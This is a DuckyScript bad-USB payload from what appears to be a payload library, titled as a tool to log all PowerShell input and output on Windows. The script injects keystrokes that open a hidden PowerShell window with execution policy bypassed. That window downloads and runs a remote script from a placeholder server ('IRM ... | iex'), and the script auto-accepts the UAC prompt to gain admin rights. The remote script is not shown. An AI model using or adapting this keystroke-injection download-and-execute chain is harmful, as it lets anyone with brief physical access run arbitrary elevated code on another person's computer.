Path: blob/master/payloads/library/incident_response/Global-Powershell-Logging/Payload.txt
2971 views
REM Author: beigeworm1REM Title: Global-Powershell-Logging2REM Target: Windows 10/113REM Description: Log all powershell input and output to a text file in the documents folder.45REM **THIS SCRIPT IS INTENDED FOR USE ON SYSTEMS YOU OWN OR HAVE BEEN GIVEN PERMISSION TO USE!**67REM Replace the URL for your own hosted .ps1 raw file.8DEFINE #SCRIPTURL https://yourserver.com/rawfile/Global-Powershell-Logging.ps1910REM Funtion to detect Windows is ready for keystrokes11EXTENSION PASSIVE_WINDOWS_DETECT12REM VERSION 1.113REM AUTHOR: Korben1415REM CONFIGURATION:16DEFINE #MAX_WAIT 15017DEFINE #CHECK_INTERVAL 2018DEFINE #WINDOWS_HOST_REQUEST_COUNT 219DEFINE #NOT_WINDOWS 72021$_OS = #NOT_WINDOWS2223VAR $MAX_TRIES = #MAX_WAIT24WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))25DELAY #CHECK_INTERVAL26$MAX_TRIES = ($MAX_TRIES - 1)27END_WHILE28IF ($_HOST_CONFIGURATION_REQUEST_COUNT > #WINDOWS_HOST_REQUEST_COUNT) THEN29$_OS = WINDOWS30END_IF3132END_EXTENSION3334IF $_OS != WINDOWS35LED_R36STOP_PAYLOAD37END_IF3839REM Main bad-USB script40LED_G41GUI r42DELAY 75043STRING powershell -Ep Bypass -W H -C IRM #SCRIPTURL | iex44DELAY 25045CTRL-SHIFT ENTER46DELAY 250047ALT y484950